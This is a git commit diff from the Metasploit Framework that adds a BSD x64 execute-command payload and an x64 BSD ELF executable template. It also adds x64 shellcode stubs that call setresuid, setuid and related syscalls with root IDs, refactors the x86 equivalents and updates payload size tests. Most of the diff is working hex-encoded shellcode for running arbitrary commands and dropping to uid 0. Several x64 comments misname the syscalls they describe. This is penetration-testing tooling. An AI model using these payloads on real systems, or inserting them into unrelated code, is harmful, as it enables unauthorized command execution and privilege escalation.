Implement x64 BSD exec and exe template.

- Fixes bug in CachedSize due to all options being set
- Adds new payload to payload_spec.
bug/bundler_fix
joev 2015-04-12 12:17:25 -05:00
parent e8e7a2a67a
commit 2d3614f647
14 changed files with 261 additions and 109 deletions

Binary file not shown.

View File

@ -23,49 +23,49 @@ module Msf::Payload::Bsd
[
false,
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
"false"
false
]
),
Msf::OptBool.new('PrependSetreuid',
[
false,
"Prepend a stub that executes the setreuid(0, 0) system call",
"false"
false
]
),
Msf::OptBool.new('PrependSetuid',
[
false,
"Prepend a stub that executes the setuid(0) system call",
"false"
false
]
),
Msf::OptBool.new('PrependSetresgid',
[
false,
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
"false"
false
]
),
Msf::OptBool.new('PrependSetregid',
[
false,
"Prepend a stub that executes the setregid(0, 0) system call",
"false"
false
]
),
Msf::OptBool.new('PrependSetgid',
[
false,
"Prepend a stub that executes the setgid(0) system call",
"false"
false
]
),
Msf::OptBool.new('AppendExit',
[
false,
"Append a stub that executes the exit(0) system call",
"false"
false
]
),
], Msf::Payload::Bsd)
@ -74,95 +74,157 @@ module Msf::Payload::Bsd
end
#
# Overload the generate() call to prefix our stubs
#
def generate(*args)
# Call the real generator to get the payload
buf = super(*args)
def apply_prepends(buf)
test_arch = [ *(self.arch) ]
pre = ''
app = ''
test_arch = [ *(self.arch) ]
# Handle all x86 code here
if (test_arch.include?(ARCH_X86))
# Prepend
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7e" +# movb $0x7e,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x17" +# movb $0x17,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7f" +# movb $0x7f,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\xb5" +# movb $0xb5,%al #
"\xcd\x80" # int $0x80 #
end
# Append
if (datastore['AppendExit'])
# exit(0)
app << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\xb0\x01" +# movb $0x01,%al #
"\xcd\x80" # int $0x80 #
end
handle_x86_bsd_opts(pre, app)
elsif (test_arch.include?(ARCH_X86_64))
handle_x64_bsd_opts(pre, app)
end
return (pre + buf + app)
pre + buf + app
end
def handle_x86_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7e" +# movb $0x7e,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x17" +# movb $0x17,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\x7f" +# movb $0x7f,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\xb0\xb5" +# movb $0xb5,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['AppendExit'])
# exit(0)
app << "\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\xb0\x01" +# movb $0x01,%al #
"\xcd\x80" # int $0x80 #
end
end
def handle_x64_bsd_opts(pre, app)
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x4d" +# or rax, 77 (setgid=311>>2=77)
"\x48\xc1\xe0\x02" +# shl rax, 2
"\x48\x83\xf0\x03" +# xor rax, 3 (311&3=3)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x48\x31\xf6" +# xor rsi, rsi 0
"\x48\x31\xd2" +# xor rdx, rdx 0
"\x0f\x05" # syscall
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x7e" +# or rax, 126 (setreuid=126)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x48\x31\xf6" +# xor rsi, rsi 0
"\x0f\x05" # syscall
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x17" +# or rax, 23 (setuid=23)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x0f\x05" # syscall
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x4e" +# or rax, 78 (setgid=312>>2=78)
"\x48\xc1\xe0\x02" +# shl rax, 2 (78<<2=312)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x48\x31\xf6" +# xor rsi, rsi 0
"\x48\x31\xd2" +# xor rdx, rdx 0
"\x0f\x05" # syscall
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x7f" +# or rax, 127 (setuid=127)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x48\x31\xf6" +# xor rsi, rsi 0
"\x0f\x05" # syscall
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x5a" +# or rax, 90 (setgid=181>>1=90)
"\x48\xd1\xe0" +# shl rax, 1
"\x48\x83\xc8\x01" +# or rax, 1 (setgid=181&1=1)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x0f\x05" # syscall
end
if (datastore['AppendExit'])
# exit(0)
app << "\x48\x31\xc0" +# xor rax, rax
"\x48\x83\xc8\x01" +# or rax, 1 (exit=1)
"\x48\x31\xff" +# xor rdi, rdi 0
"\x0f\x05" # syscall
end
end
end

View File

@ -111,6 +111,10 @@ require 'msf/core/exe/segment_appender'
if plat.index(Msf::Module::Platform::OSX)
return to_osx_x64_macho(framework, code)
end
if plat.index(Msf::Module::Platform::BSD)
return to_bsd_x64_elf(framework, code)
end
end
if arch.index(ARCH_ARMLE)
@ -891,6 +895,11 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
end
# Create a 64-bit Linux ELF containing the payload provided in +code+
def self.to_bsd_x64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_bsd.bin", code)
end
# Create a 32-bit Solaris ELF containing the payload provided in +code+
def self.to_solaris_x86_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
@ -1870,10 +1879,8 @@ require 'msf/core/exe/segment_appender'
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86,nil
to_linux_x86_elf(framework, code, exeopts)
when ARCH_X86_64
to_linux_x64_elf(framework, code, exeopts)
when ARCH_X64
to_linux_x86_elf(framework, code, exeopts)
when ARCH_X86_64, ARCH_X64
to_linux_x64_elf(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf(framework, code, exeopts)
@ -1886,6 +1893,8 @@ to_linux_x86_elf(framework, code, exeopts)
case arch
when ARCH_X86,nil
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
when ARCH_X86_64, ARCH_X64
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
end
elsif plat && plat.index(Msf::Module::Platform::Solaris)
case arch
@ -1896,9 +1905,7 @@ to_linux_x86_elf(framework, code, exeopts)
when 'elf-so'
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86_64
to_linux_x64_elf_dll(framework, code, exeopts)
when ARCH_X64
when ARCH_X86_64, ARCH_X64
to_linux_x64_elf_dll(framework, code, exeopts)
end
end
@ -1906,9 +1913,7 @@ to_linux_x86_elf(framework, code, exeopts)
macho = case arch
when ARCH_X86,nil
to_osx_x86_macho(framework, code, exeopts)
when ARCH_X86_64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_X64
when ARCH_X86_64, ARCH_X64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE
to_osx_arm_macho(framework, code, exeopts)

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module Metasploit3
CachedSize = 23
include Msf::Payload::Single
include Msf::Payload::Bsd
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD x64 Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => 'joev',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86_64))
# Register exec options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
#
# Dynamically builds the exec payload based on the user's options.
#
def generate_stage
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
call = "\xe8" + [arg_str.length].pack('V')
payload =
"\x48\x31\xd2"+ # xor rdx, rdx
call + # call CMD.len
arg_str + # CMD
"\x5f" + # pop rdi
if cmd_parts.length > 1
"\x48\x89\xf9" + # mov rcx, rdi
"\x52" + # push rdx (null)
# for each arg, push its current memory location on to the stack
cmd_parts[1..-1].each_with_index.map do |arg, idx|
"\x48\x81\xc1" + # add rcx + ...
[cmd_parts[idx].length+1].pack('V') + #
"\x51" # push rcx (build str array)
end.join
else
"\x52" # push rdx (null)
end +
"\x57"+ # push rdi
"\x48\x89\xe6"+ # mov rsi, rsp
"\x48\x31\xc0"+ # xor rax, rax
"\x48\x83\xc8\x3b" + # or rax, 0x3b (execve)
"\x0f\x05" # syscall
end
end

View File

@ -17,7 +17,7 @@ require 'msf/core'
###
module Metasploit3
CachedSize = 107
CachedSize = 42
include Msf::Payload::Single
include Msf::Payload::Bsd
@ -42,7 +42,7 @@ module Metasploit3
# Dynamically builds the exec payload based on the user's options.
#
def generate_stage
cmd = datastore['CMD'] || ''
cmd = datastore['CMD'] || ''
asm = <<-EOS
;;
;

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = 65
CachedSize = 0
include Msf::Payload::Bsd
include Msf::Payload::Single

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = 65
CachedSize = 0
include Msf::Payload::Bsd
include Msf::Payload::Single

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 138
CachedSize = 73
include Msf::Payload::Single
include Msf::Payload::Bsd

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 152
CachedSize = 87
include Msf::Payload::Single
include Msf::Payload::Bsd

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 125
CachedSize = 60
include Msf::Payload::Single
include Msf::Payload::Bsd

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 135
CachedSize = 70
include Msf::Payload::Single
include Msf::Payload::Bsd

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 129
CachedSize = 64
include Msf::Payload::Single
include Msf::Payload::Bsd

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 161
CachedSize = 96
include Msf::Payload::Single
include Msf::Payload::Bsd

View File

@ -276,6 +276,16 @@ describe 'modules/payloads', :content do
reference_name: 'bsd/x86/shell_reverse_tcp_ipv6'
end
context 'bsd/x64/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/bsd/x64/exec'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'bsd/x64/exec'
end
context 'bsdi/x86/shell/bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [